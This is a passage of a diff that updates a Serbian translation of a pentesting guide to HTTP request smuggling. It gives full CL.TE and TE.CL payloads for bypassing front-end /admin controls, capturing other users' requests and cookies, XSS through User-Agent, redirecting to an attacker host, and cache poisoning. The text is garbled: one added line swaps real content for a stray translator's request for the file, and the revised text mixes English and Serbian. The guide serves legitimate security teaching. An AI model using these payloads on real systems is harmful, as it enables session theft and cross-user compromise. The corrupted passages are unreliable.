oba zahteva obrađuje isti server, što je preduslov za uspešan napad. -- **Vremenske i Utrke Uslovi:** "Normalni" zahtev, koji je namenjen otkrivanju ometanja od "napadnog" zahteva, takmiči se protiv drugih istovremenih zahteva aplikacije. Stoga, pošaljite "normalni" zahtev odmah nakon "napadnog" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za konačnu potvrdu ranjivosti. -- **Izazovi Balansiranja Opterećenja:** Front-end serveri koji deluju kao balansatori opterećenja mogu raspodeliti zahteve preko različitih back-end sistema. Ako "napadni" i "normalni" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati nekoliko pokušaja za potvrdu ranjivosti. -- **Nepredviđeni Uticaj na Korisnike:** Ako vaš napad nenamerno utiče na zahtev drugog korisnika (ne "normalni" zahtev koji ste poslali za detekciju), to ukazuje da je vaš napad uticao na drugog korisnika aplikacije. Kontinuirano testiranje može ometati druge korisnike, što zahteva oprezan pristup. +- **Različite mrežne konekcije:** "attack" i "normal" zahtevi treba da budu poslati preko odvojenih mrežnih konekcija. Korišćenje iste konekcije za oba ne potvrđuje postojanje ranjivosti. +- **Konzistentan URL i parametri:** Nastojte da koristite iste URL-ove i nazive parametara za oba zahteva. Moderne aplikacije često rutuju zahteve ka specifičnim back-end serverima na osnovu URL-a i parametara. Podudaranje ovih vrednosti povećava verovatnoću da će oba zahteva obraditi isti server, što je preduslov za uspešan attack. +- **Vremenski uslovi i takmičenje (racing conditions):** "Normal" zahtev, koji treba da detektuje interferenciju od "attack" zahteva, takmiči se sa drugim istovremenim zahtevima aplikacije. Zbog toga pošaljite "normal" zahtev odmah nakon "attack" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za konačnu potvrdu ranjivosti. +- **Izazovi load balancing-a:** Front-end serveri koji deluju kao load balanceri mogu raspodeliti zahteve na različite back-end sisteme. Ako se "attack" i "normal" zahtevi završe na različitim sistemima, attack neće uspeti. Ovaj aspekt load balancing-a može zahtevati nekoliko pokušaja da se potvrdi ranjivost. +- **Neželjeni uticaj na korisnike:** Ako vaš attack nenamerno utiče na zahtev drugog korisnika (ne na "normal" zahtev koji ste poslali za detekciju), to ukazuje da je vaš attack uticao na drugog korisnika aplikacije. Kontinuirano testiranje može ometati druge korisnike, te je potreban oprezan pristup. -## Razlikovanje HTTP/1.1 pipelining artefakata od pravog request smuggling-a +## Razlikovanje HTTP/1.1 pipelining artefakata i stvarnog request smuggling-a -Ponovna upotreba konekcije (keep-alive) i pipelining lako mogu stvoriti iluzije "smuggling-a" u testnim alatima koji šalju više zahteva na istom soketu. Naučite da odvojite bezopasne artefakte sa strane klijenta od pravog desinkronizovanja sa strane servera. +Ponovno korišćenje konekcije (keep-alive) i pipelining lako mogu stvoriti iluzije "smuggling-a" u alatima za testiranje koji šalju više zahteva preko istog soketa. Naučite da razlikujete bezopasne klijentske artefakte od pravog server-side desync-a. ### Zašto pipelining stvara klasične lažne pozitivne rezultate -HTTP/1.1 ponovo koristi jednu TCP/TLS konekciju i spaja zahteve i odgovore na istom toku. U pipelining-u, klijent šalje više zahteva jedan za drugim i oslanja se na odgovore u redosledu. Uobičajena lažna pozitivna situacija je ponovo slanje neispravnog CL.0 stila payload-a dva puta na jednoj konekciji: +HTTP/1.1 ponovo koristi jednu TCP/TLS konekciju i konkatenira zahteve i odgovore na istom stream-u. U pipelining režimu, klijent šalje više zahteva zaredom i očekuje odgovore redosledom slanja. Čest lažni pozitivan slučaj je ponovno slanje malformisanog CL.0-stila payload-a dva puta na jednoj konekciji: ``` POST / HTTP/1.1 Host: hackxor.net @@ -292,7 +294,7 @@ Content_Length: 47 GET /robots.txt HTTP/1.1 X: Y ``` -Odgovori mogu izgledati ovako: +Molim pošaljite sadržaj fajla src/pentesting-web/http-request-smuggling/README.md koji želite da prevedem. Napomena: zadržaću istu markdown/html sintaksu i neću prevoditi kod, nazive tehnika, cloud/SaaS nazive, reči poput "leak" i "pentesting", niti linkove, putanje i tagove koje ste naveli. ``` HTTP/1.1 200 OK Content-Type: text/html @@ -306,7 +308,7 @@ Content-Type: text/plain User-agent: * Disallow: /settings ``` -Ako je server ignorisao neispravan `Content_Length`, nema FE↔BE desinkronizacije. Sa ponovnom upotrebom, vaš klijent je zapravo poslao ovaj bajt-stream, koji je server obradio kao dva nezavisna zahteva: +Ako je server ignorisao neispravan `Content_Length`, nema FE↔BE desync. Pri reuse, vaš klijent je zapravo poslao ovaj byte-stream, koji je server parsirao kao dva nezavisna zahteva: ``` POST / HTTP/1.1 Host: hackxor.net @@ -320,78 +322,78 @@ Content_Length: 47 GET /robots.txt HTTP/1.1 X: Y ``` -Impact: nema. Samo ste desinhronizovali svog klijenta od servera. +Uticaj: nijedan. Upravo ste desynced svoj klijent od server framinga. > [!TIP] -> Burp moduli koji zavise od ponovne upotrebe/pipelininga: Turbo Intruder sa `requestsPerConnection>1`, Intruder sa "HTTP/1 ponovna upotreba konekcije", Repeater "Pošalji grupu u sekvenci (jedna konekcija)" ili "Omogući ponovnu upotrebu konekcije". +> Burp moduli koji zavise od reuse/pipelining: Turbo Intruder sa `requestsPerConnection>1`, Intruder sa "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" ili "Enable connection reuse". -### Litmus testovi: pipelining ili prava desinkronizacija? +### Litmus testovi: pipelining or real desync? -1. Onemogućite ponovnu upotrebu i ponovo testirajte -- U Burp Intruder/Repeater, isključite HTTP/1 ponovnu upotrebu i izbegavajte "Pošalji grupu u sekvenci". -- U Turbo Intruder, postavite `requestsPerConnection=1` i `pipeline=False`. -- Ako se ponašanje izgubi, verovatno je u pitanju klijentski pipelining, osim ako se ne bavite konekcijama zaključanim/stanje-vezanim ciljevima ili klijentskom desinkronizacijom. -2. HTTP/2 provera ugnježdenih odgovora -- Pošaljite HTTP/2 zahtev. Ako telo odgovora sadrži potpuni ugnježdeni HTTP/1 odgovor, dokazali ste grešku u parsiranju/desinkronizaciji na backendu umesto čiste klijentske artefakte. -3. Proba delimičnih zahteva za konekcije zaključane na front-endu -- Neki FEs ponovo koriste konekciju upstream BE samo ako je klijent ponovo koristi. Koristite delimične zahteve da otkrijete FE ponašanje koje odražava ponovnu upotrebu klijenta. -- Pogledajte PortSwigger "Browser‑Powered Desync Attacks" za tehniku zaključane konekcije. -4. Probe stanja -- Potražite razlike između prvog i narednih zahteva na istoj TCP konekciji (routiranje/validacija prvog zahteva). -- Burp "HTTP Request Smuggler" uključuje probu stanja konekcije koja automatizuje ovo. -5. Vizualizujte žicu -- Koristite Burp "HTTP Hacker" ekstenziju da direktno pregledate spajanje i okvir poruka dok eksperimentišete sa ponovnom upotrebom i delimičnim zahtevima. +1. Disable reuse and re-test +- U Burp Intruder/Repeater, isključite HTTP/1 reuse i izbegavajte "Send group in sequence". +- U Turbo Intruder, podesite `requestsPerConnection=1` i `pipeline=False`. +- Ako ponašanje nestane, verovatno je u pitanju client-side pipelining, osim ako ne radite sa connection-locked/stateful ciljevima ili client-side desync. +2. HTTP/2 nested-response check +- Pošaljite HTTP/2 zahtev. Ako telo odgovora sadrži kompletnu nested HTTP/1 response, dokazali ste backend parsing/desync bag umesto čistog client artefakta. +3. Partial-requests probe for connection-locked front-ends +- Neki FEs ponovo koriste upstream BE konekciju samo ako je klijent ponovo koristio svoju. Koristite partial-requests da detektujete FE ponašanje koje ogleda client reuse. +- Pogledajte PortSwigger "Browser‑Powered Desync Attacks" za connection-locked tehniku. +4. State probes +- Tražite razlike između prvog i narednih zahteva na istoj TCP konekciji (first-request routing/validation). +- Burp "HTTP Request Smuggler" uključuje connection‑state probe koji automatizuje ovo. +5. Visualize the wire +- Koristite Burp "HTTP Hacker" ekstenziju da pregledate concatenation i message framing direktno dok eksperimentišete sa reuse i partial requests. -### Konektivno zaključano smuggling zahteva (potrebna ponovna upotreba) +### Connection‑locked request smuggling (reuse-required) -Neki front-endovi ponovo koriste konekciju upstream samo kada klijent ponovo koristi svoju. Pravo smuggling postoji, ali je uslovljeno ponovnom upotrebom sa strane klijenta. Da biste razlikovali i dokazali uticaj: -- Dokažite grešku na strani servera -- Koristite HTTP/2 provere ugnježdenih odgovora, ili -- Koristite delimične zahteve da pokažete da FE samo ponovo koristi upstream kada klijent to radi. -- Pokažite pravi uticaj čak i ako je direktna zloupotreba soketa između korisnika blokirana: -- Trovanje kešom: otrovati deljene keševe putem desinkronizacije tako da odgovori utiču na druge korisnike. -- Otkriće internih zaglavlja: reflektujte FE-ugrađena zaglavlja (npr. zaglavlja za autentifikaciju/povjerenje) i pređite na zaobilaženje autentifikacije. -- Zaobilaženje FE kontrola: smuggle ograničene putanje/metode mimo front-enda. -- Zloupotreba zaglavlja hosta: kombinujte sa čudima rutiranja hosta da pređete na interne vhosts. -- Operatorov radni tok -- Ponovite sa kontrolisanom ponovnom upotrebom (Turbo Intruder `requestsPerConnection=2`, ili Burp Repeater tab grupa → "Pošalji grupu u sekvenci (jedna konekcija)"). -- Zatim povežite sa trovanjem kešom/zaglavlja-leak/zaobilaženje kontrole i demonstrirajte uticaj između korisnika ili autorizacije. +Neki front-endovi ponovo koriste upstream konekciju samo kada klijent ponovo koristi svoju. Real smuggling postoji, ali je uslovljen client-side reuse. Da biste razlikovali i dokazali uticaj: +- Dokažite server-side bug +- Koristite HTTP/2 nested-response check, ili +- Koristite partial-requests da pokažete da FE ponovo koristi upstream samo kada to klijent radi. +- Prikažite stvarni uticaj čak i ako je direktno cross-user socket abuse blokirano: + - Cache poisoning: poison shared caches via the desync so responses affect other users. + - Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass. + - Bypass FE controls: smuggle restricted paths/methods past the front-end. + - Host-header abuse: combine with host routing quirks to pivot to internal vhosts. +- Operator workflow + - Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)"). + - Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact. -> Takođe pogledajte napade na stanje konekcije, koji su blisko povezani, ali tehnički nisu smuggling: +> See also connection‑state attacks, which are closely related but not technically smuggling: > >{{#ref}} >../http-connection-request-smuggling.md >{{#endref}} -### Ograničenja klijentske desinkronizacije +### Client‑side desync constraints -Ako ciljate na desinkronizaciju pokretanu pretraživačem/sa strane klijenta, zlonameran zahtev mora biti moguć za slanje od strane pretraživača preko različitih domena. Trikovi obfuscacije zaglavlja neće raditi. Fokusirajte se na primitivne metode dostupne putem navigacije/fetch, a zatim pređite na trovanje kešom, otkrivanje zaglavlja ili zaobilaženje kontrole front-enda gde downstream komponente reflektuju ili keširaju odgovore. +Ako ciljate browser-powered/client-side desync, maliciozni zahtev mora biti poslat iz browser-a cross-origin. Header obfuscation trikovi neće raditi. Fokusirajte se na primitive dostupne preko navigation/fetch, i zatim pivotirajte na cache poisoning, header disclosure, ili front-end control bypass gde downstream komponente reflektuju ili cache-iraju odgovore. -Za pozadinu i end-to-end radne tokove: +Za pozadinu i end-to-end workflow-e: {{#ref}} browser-http-request-smuggling.md {{#endref}} -### Alati za pomoć u odlučivanju +### Tooling to help decide -- HTTP Hacker (Burp BApp Store): otkriva niskonivo ponašanje HTTP-a i spajanje soketa. -- "Smuggling ili pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda -- Turbo Intruder: precizna kontrola nad ponovnom upotrebom konekcije putem `requestsPerConnection`. -- Burp HTTP Request Smuggler: uključuje probu stanja konekcije da uoči rutiranje/validaciju prvog zahteva. +- HTTP Hacker (Burp BApp Store): prikazuje low-level HTTP ponašanje i socket concatenation. +- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda +- Turbo Intruder: precizna kontrola nad connection reuse putem `requestsPerConnection`. +- Burp HTTP Request Smuggler: uključuje connection‑state probe za uočavanje first‑request routing/validation. > [!NOTE] -> Tretirajte efekte koji se odnose samo na ponovnu upotrebu kao neproblematične osim ako ne možete dokazati desinkronizaciju na strani servera i prikačiti konkretan uticaj (otrovan keš artefakt, otkriveno interno zaglavlje koje omogućava zaobilaženje privilegija, zaobiđene FE kontrole, itd.). +> Smatrajte reuse-only efekte nebitnim osim ako ne možete dokazati server-side desync i priložiti konkretan uticaj (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, itd.). -## Zloupotreba HTTP Request Smuggling +## Abusing HTTP Request Smuggling -### Zaobilaženje sigurnosti front-enda putem HTTP Request Smuggling +### Circumventing Front-End Security via HTTP Request Smuggling -Ponekad, front-end proksi primenjuju sigurnosne mere, pomno prateći dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup `/admin` može biti zabranjen spolja, pri čemu front-end proksi aktivno blokira takve pokušaje. Ipak, ovaj proksi može zanemariti inspekciju ugrađenih zahteva unutar smuggled HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja. +Ponekad front-end proxyji primenjuju sigurnosne mere i pažljivo proveravaju dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling, omogućavajući neautorizovan pristup ograničenim endpoint-ima. Na primer, pristup `/admin` može biti zabranjen spolja, dok front-end proxy aktivno blokira takve pokušaje. Ipak, ovaj proxy može zanemariti inspekciju embedded zahteva unutar smuggled HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja. -Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje sigurnosnih kontrola front-enda, posebno ciljajući putanju `/admin` koja je obično zaštićena front-end proksijem: +Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje front-end sigurnosnih kontrola, posebno ciljajući putanju `/admin` koja je obično zaštićena front-end proxyjem: -**CL.TE Primer** +**CL.TE Example** ``` POST / HTTP/1.1 Host: [redacted].web-security-academy.net @@ -408,9 +410,9 @@ Content-Length: 10 x= ``` -U CL.TE napadu, `Content-Length` zaglavlje se koristi za inicijalni zahtev, dok sledeći ugrađeni zahtev koristi `Transfer-Encoding: chunked` zaglavlje. Frontalni proxy obrađuje inicijalni `POST` zahtev, ali ne uspeva da ispita ugrađeni `GET /admin` zahtev, omogućavajući neovlašćen pristup `/admin` putanji. +U CL.TE napadu, zaglavlje `Content-Length` se koristi za početni zahtev, dok se u sledećem ugrađenom zahtevu koristi zaglavlje `Transfer-Encoding: chunked`. Front-end proxy obrađuje početni `POST` zahtev, ali ne uspeva da ispita ugrađeni `GET /admin` zahtev, što omogućava neovlašćen pristup putanji `/admin`. -**TE.CL Primer** +**TE.CL Example** ``` POST / HTTP/1.1 Host: [redacted].web-security-academy.net @@ -426,13 +428,13 @@ a=x 0 ``` -Nasuprot tome, u TE.CL napadu, inicijalni `POST` zahtev koristi `Transfer-Encoding: chunked`, a sledeći ugnježdeni zahtev se obrađuje na osnovu `Content-Length` zaglavlja. Slično CL.TE napadu, front-end proxy zanemaruje ugnježdeni `GET /admin` zahtev, nenamerno omogućavajući pristup ograničenom `/admin` putu. +Suprotno tome, u TE.CL attack, početni `POST` zahtev koristi `Transfer-Encoding: chunked`, a naredni ugneždeni zahtev se obrađuje na osnovu `Content-Length` zaglavlja. Slično CL.TE attack, front-end proxy previdi prokrijumčarani `GET /admin` zahtev, nenamerno omogućavajući pristup ograničenom `/admin` putu. -### Otkivanje prepravke front-end zahteva +### Otkrivanje prepravljanja zahteva na front-endu -Aplikacije često koriste **front-end server** za modifikaciju dolaznih zahteva pre nego što ih proslede back-end serveru. Tipična modifikacija uključuje dodavanje zaglavlja, kao što je `X-Forwarded-For: `, kako bi se prosledila IP adresa klijenta back-endu. Razumevanje ovih modifikacija može biti ključno, jer može otkriti načine za **obići zaštite** ili **otkriti skrivene informacije ili krajnje tačke**. +Aplikacije često koriste **front-end server** da modifikuju dolazeće zahteve pre nego što ih proslede back-end serveru. Tipična izmena uključuje dodavanje zaglavlja, kao što je `X-Forwarded-For: `, kako bi se IP klijenta prosledio back-endu. Razumevanje ovih izmena može biti ključno, jer može otkriti načine za **zaobilaženje zaštita** ili **otkrivanje skrivenih informacija ili krajnjih tačaka**. -Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji back-end ponavlja u odgovoru. Zatim, kreirajte zahtev, koristeći ovaj parametar poslednji, slično sledećem: +Da biste ispitali kako proxy menja zahtev, pronađite POST parametar koji back-end vraća u odgovoru. Zatim sastavite zahtev, koristeći taj parametar kao poslednji, slično sledećem: ``` POST / HTTP/1.1 Host: vulnerable-website.com @@ -449,19 +451,19 @@ Content-Length: 100 search= ``` -U ovoj strukturi, sledeći delovi zahteva se dodaju nakon `search=`, što je parametar koji se odražava u odgovoru. Ova refleksija će otkriti zaglavlja sledećeg zahteva. +U ovoj strukturi, komponenti narednog `request`-a se dodaju posle `search=`, koji je parameter reflektovan u `response`-u. Ovo reflektovanje će izložiti `headers` narednog `request`-a. -Važno je uskladiti `Content-Length` zaglavlje ugnježdenog zahteva sa stvarnom dužinom sadržaja. Preporučuje se da se počne sa malom vrednošću i postepeno povećava, jer će previše niska vrednost skratiti odražene podatke, dok previše visoka vrednost može izazvati grešku u zahtevu. +Važno je uskladiti `Content-Length` header u ugnježdenom `request`-u sa stvarnom dužinom sadržaja. Početak sa malom vrednošću i postepeno povećavanje je preporučljivo, jer će previše niska vrednost skratiti reflektovane podatke, dok će previše visoka vrednost izazvati grešku u `request`-u. -Ova tehnika se takođe može primeniti u kontekstu TE.CL ranjivosti, ali zahtev treba da se završi sa `search=\r\n0`. Bez obzira na karaktere novog reda, vrednosti će se dodati parametru pretrage. +Ova tehnika je primenjiva i u kontekstu TE.CL ranjivosti, ali `request` treba da se završi sa `search=\r\n0`. Bez obzira na newline karaktere, vrednosti će se dodavati parametru `search`. -Ova metoda prvenstveno služi za razumevanje izmena zahteva koje vrši front-end proxy, suštinski obavljajući samostalnu istragu. +Ova metoda prvenstveno služi da se razumeju izmene `request`-a koje pravi front-end proxy, suštinski izvodeći samostalnu istragu. ### Capturing other users' requests -Moguće je uhvatiti zahteve sledećeg korisnika dodavanjem specifičnog zahteva kao vrednosti parametra tokom POST operacije. Evo kako se to može postići: +Moguće je presresti `request`-e narednog user-a tako što se tokom `POST` operacije kao vrednost parametra doda specifičan `request`. Evo kako se to može izvesti: -Dodavanjem sledećeg zahteva kao vrednosti parametra, možete sačuvati zahtev sledećeg klijenta: +Dodavanjem sledećeg `request`-a kao vrednosti parametra možete sačuvati `request` narednog client-a: ``` POST / HTTP/1.1 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net @@ -481,20 +483,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment= ``` -U ovom scenariju, **parametar komentara** je namenjen za čuvanje sadržaja unutar sekcije komentara posta na javno dostupnoj stranici. Kao rezultat, sadržaj narednog zahteva će se pojaviti kao komentar. +U ovom scenariju, **comment parameter** je namenjen za čuvanje sadržaja unutar sekcije komentara objave na javno dostupnoj stranici. Shodno tome, sadržaj narednog zahteva pojaviće se kao komentar. -Međutim, ova tehnika ima ograničenja. Generalno, hvata podatke samo do delimičnog delimiter-a koji se koristi u prokrijumčarenom zahtevu. Za URL-enkodirane forme, ovaj delimiter je karakter `&`. To znači da će uhvaćeni sadržaj iz zahteva žrtve stati na prvom `&`, koji može biti deo upitnog stringa. +Međutim, ova tehnika ima ograničenja. Generalno, ona hvata podatke samo do delimiter-a parametra koji se koristi u smuggled request-u. Za URL-encoded form submissions, ovaj delimiter je karakter `&`. To znači da će uhvaćeni sadržaj iz zahteva žrtve prestati na prvom `&`, koji može biti čak i deo query string-a. -Pored toga, vredi napomenuti da je ovaj pristup takođe izvodljiv sa TE.CL ranjivošću. U takvim slučajevima, zahtev bi trebao da se završi sa `search=\r\n0`. Bez obzira na karaktere novog reda, vrednosti će biti dodate parametru pretrage. +Takođe, vredi napomenuti da je ovaj pristup izvodljiv i kod TE.CL ranjivosti. U takvim slučajevima, zahtev bi trebalo da se završi sa `search=\r\n0`. Bez obzira na newline karaktere, vrednosti će biti dodate parametru search. -### Korišćenje HTTP request smuggling za iskorišćavanje reflektovanog XSS +### Korišćenje HTTP request smuggling za iskorišćavanje Reflected XSS -HTTP Request Smuggling se može iskoristiti za iskorišćavanje web stranica ranjivih na **Reflektovani XSS**, nudeći značajne prednosti: +HTTP Request Smuggling može da se iskoristi za napad na web stranice ranjive na **Reflected XSS**, nudeći značajne prednosti: -- Interakcija sa ciljnim korisnicima **nije potrebna**. -- Omogućava iskorišćavanje XSS u delovima zahteva koji su **normalno nedostupni**, poput HTTP zaglavlja zahteva. +- Interakcija sa ciljanim korisnicima **nije potrebna**. +- Omogućava iskorišćavanje XSS u delovima zahteva koji su **normalno nedostupni**, kao što su HTTP request headers. -U scenarijima gde je veb sajt podložan Reflektovanom XSS kroz User-Agent zaglavlje, sledeći payload prikazuje kako iskoristiti ovu ranjivost: +U scenarijima gde je web-sajt podložan Reflected XSS kroz User-Agent header, sledeći payload demonstrira kako iskoristiti ovu ranjivost: ``` POST / HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net @@ -515,36 +517,36 @@ Content-Type: application/x-www-form-urlencoded A= ``` -Ovaj payload je strukturiran da iskoristi ranjivost na sledeći način: +This payload je strukturiran da iskoristi ranjivost na sledeći način: -1. Inicira `POST` zahtev, naizgled tipičan, sa `Transfer-Encoding: chunked` header-om da označi početak šverca. -2. Nakon toga sledi `0`, što označava kraj chunked poruke. -3. Zatim se uvodi švercovani `GET` zahtev, gde je `User-Agent` header injektovan sa skriptom, ``, što aktivira XSS kada server obradi ovaj sledeći zahtev. +1. Pokretanje `POST` request-a, naizgled tipično, sa `Transfer-Encoding: chunked` header-om da označi početak smuggling-a. +2. Sledeći `0`, označava kraj chunked message body. +3. Zatim se uvodi smugglovan `GET` request, gde je `User-Agent` header injektovan sa skriptom, ``, pokrećući XSS kada server obradi ovaj naredni request. -Manipulacijom `User-Agent` kroz šverc, payload zaobilazi normalna ograničenja zahteva, čime iskorišćava Reflected XSS ranjivost na nestandardan, ali efikasan način. +Manipulišući `User-Agent` kroz smuggling, payload zaobilazi normalna ograničenja request-a, čime se iskorišćava Reflected XSS ranjivost na nestandardan ali efektivan način. #### HTTP/0.9 > [!CAUTION] -> U slučaju da se korisnički sadržaj odražava u odgovoru sa **`Content-type`** kao što je **`text/plain`**, sprečavajući izvršavanje XSS. Ako server podržava **HTTP/0.9, možda će biti moguće zaobići ovo**! +> U slučaju da se korisnički sadržaj reflektuje u odgovoru sa **`Content-type`** kao što je **`text/plain`**, sprečavajući izvršavanje XSS-a. Ako server podržava **HTTP/0.9** možda je moguće ovo zaobići! -Verzija HTTP/0.9 je prethodila 1.0 i koristi samo **GET** glagole i **ne odgovara** sa **header-ima**, samo telom. +Verzija HTTP/0.9 prethodila je 1.0 i koristi samo **GET** metode i **ne** odgovara sa **headers**, već samo sa body. -U [**ovoj analizi**](https://mizu.re/post/twisty-python), ovo je zloupotrebljeno sa švercom zahteva i **ranjivim krajnjim tačkom koja će odgovoriti sa korisničkim unosom** da švercuje zahtev sa HTTP/0.9. Parametar koji će biti odražen u odgovoru sadržavao je **lažni HTTP/1.1 odgovor (sa header-ima i telom)** tako da će odgovor sadržati validan izvršni JS kod sa `Content-Type` od `text/html`. +U [**ovaj writeup**](https://mizu.re/post/twisty-python), ovo je zloupotrebljeno uz request smuggling i **ranjiv endpoint koji će odgovoriti sa inputom korisnika** da bi se smugglao request sa HTTP/0.9. Parametar koji će biti reflektovan u odgovoru sadržao je **lažni HTTP/1.1 response (with headers and body)** tako da odgovor sadrži validan izvršni JS kod sa `Content-Type` `text/html`. -### Iskorišćavanje preusmeravanja na sajtu sa HTTP Request Smuggling +### Eksploatisanje on-site preusmeravanja uz HTTP Request Smuggling -Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći ime hosta iz `Host` header-a u URL-u preusmeravanja. Ovo je uobičajeno sa web serverima kao što su Apache i IIS. Na primer, zahtev za folder bez završnog slash-a rezultira preusmeravanjem da uključi slash: +Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći hostname iz `Host` header-a u redirect URL-u. Ovo je uobičajeno kod web servera kao što su Apache i IIS. Na primer, zahtev za folder bez trailing slash-a rezultira preusmeravanjem da se uključi slash: ``` GET /home HTTP/1.1 Host: normal-website.com ``` -Rezultati u: +Rezultira u: ``` HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/ ``` -Iako naizgled bezopasno, ovo ponašanje se može iskoristiti pomoću HTTP request smuggling-a da preusmeri korisnike na eksternu stranicu. Na primer: +Iako naizgled bezazleno, ovo ponašanje se može manipulisati koristeći HTTP request smuggling da bi se korisnici preusmerili na eksterni sajt. Na primer: ``` POST / HTTP/1.1 Host: vulnerable-website.com @@ -558,29 +560,29 @@ GET /home HTTP/1.1 Host: attacker-website.com Foo: X ``` -Ova prokrijumčarena zahtev može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na veb sajt pod kontrolom napadača: +Ovaj smuggled request može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na sajt koji kontroliše napadač: ``` GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com ``` -Rezultati u: +Rezultuje u: ``` HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ ``` -U ovom scenariju, korisnički zahtev za JavaScript datotekom je preuzet. Napadač može potencijalno kompromitovati korisnika tako što će poslužiti zlonamerni JavaScript kao odgovor. +U ovom scenariju, zahtev korisnika za JavaScript fajlom je presretnut. Napadač može potencijalno kompromitovati korisnika tako što će u odgovoru poslužiti maliciozni JavaScript. -### Iskorišćavanje trovanja web kešom putem HTTP Request Smuggling +### Exploiting Web Cache Poisoning via HTTP Request Smuggling -Trovanje web kešom može se izvršiti ako bilo koja komponenta **infrastrukture front-enda kešira sadržaj**, obično radi poboljšanja performansi. Manipulacijom serverovog odgovora, moguće je **otrovati keš**. +Web cache poisoning može se izvesti ako bilo koja komponenta **front-end infrastructure caches content**, obično radi poboljšanja performansi. Manipulacijom odgovorom servera, moguće je **poison the cache**. -Prethodno smo posmatrali kako se serverovi odgovori mogu izmeniti da vrate 404 grešku (pogledajte [Basic Examples](#basic-examples)). Slično tome, moguće je prevariti server da isporuči sadržaj `/index.html` kao odgovor na zahtev za `/static/include.js`. Kao rezultat, sadržaj `/static/include.js` se zamenjuje u kešu sa onim od `/index.html`, čineći `/static/include.js` nedostupnim korisnicima, što potencijalno može dovesti do Denial of Service (DoS). +Ranije smo videli kako se odgovori servera mogu promeniti da vrate 404 grešku (pogledajte [Basic Examples](#basic-examples)). Slično tome, moguće je prevariti server da isporuči sadržaj `/index.html` kao odgovor na zahtev za `/static/include.js`. Posledično, sadržaj `/static/include.js` biva zamenjen u kešu sadržajem od `/index.html`, čineći `/static/include.js` nedostupnim korisnicima, što može dovesti do Denial of Service (DoS). -Ova tehnika postaje posebno moćna ako se otkrije **Open Redirect ranjivost** ili ako postoji **preusmeravanje na sajtu ka otvorenom preusmeravanju**. Takve ranjivosti se mogu iskoristiti da se zameni keširani sadržaj `/static/include.js` sa skriptom pod kontrolom napadača, što suštinski omogućava široku Cross-Site Scripting (XSS) napad protiv svih klijenata koji zahtevaju ažurirani `/static/include.js`. +Ova tehnika postaje posebno snažna ako se otkrije **Open Redirect vulnerability** ili ako postoji **on-site redirect to an open redirect**. Takve ranjivosti se mogu iskoristiti za zamenu keširanog sadržaja `/static/include.js` skriptom pod kontrolom napadača, što u suštini omogućava raširen Cross-Site Scripting (XSS) napad protiv svih klijenata koji zahtevaju ažurirani `/static/include.js`. -Ispod je ilustracija iskorišćavanja **trovanja keša u kombinaciji sa preusmeravanjem na sajtu ka otvorenom preusmeravanju**. Cilj je izmeniti keš sadržaj `/static/include.js` da poslužuje JavaScript kod pod kontrolom napadača: +Ispod je ilustracija iskorišćavanja **cache poisoning combined with an on-site redirect to open redirect**. Cilj je promeniti keširani sadržaj `/static/include.js` tako da servira JavaScript kod pod kontrolom napadača: ``` POST / HTTP/1.1 Host: vulnerable.net @@ -598,20 +600,20 @@ Content-Length: 10 x=1 ``` -Napomena o ugrađenom zahtevu koji cilja `/post/next?postId=3`. Ovaj zahtev će biti preusmeren na `/post?postId=4`, koristeći **Host header value** za određivanje domena. Menjanjem **Host header-a**, napadač može preusmeriti zahtev na svoj domen (**on-site redirect to open redirect**). +Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**). -Nakon uspešnog **socket poisoning-a**, treba inicirati **GET request** za `/static/include.js`. Ovaj zahtev će biti kontaminiran prethodnim **on-site redirect to open redirect** zahtevom i preuzeti sadržaj skripte koju kontroliše napadač. +Nakon uspešnog **socket poisoning**, treba pokrenuti **GET request** za `/static/include.js`. Ovaj zahtev će biti kontaminiran prethodnim **on-site redirect to open redirect** zahtevom i preuzeti sadržaj skripte kojom upravlja napadač. -Nakon toga, svaki zahtev za `/static/include.js` će služiti keširani sadržaj napadačeve skripte, efikasno pokrećući širok XSS napad. +Nakon toga, svaki zahtev za `/static/include.js` će služiti keširani sadržaj napadačeve skripte, efikasno pokrećući široki XSS napad. -### Korišćenje HTTP request smuggling-a za izvođenje web cache deception +### Korišćenje HTTP request smuggling za izvođenje web cache deception -> **Koja je razlika između web cache poisoning-a i web cache deception-a?** +> 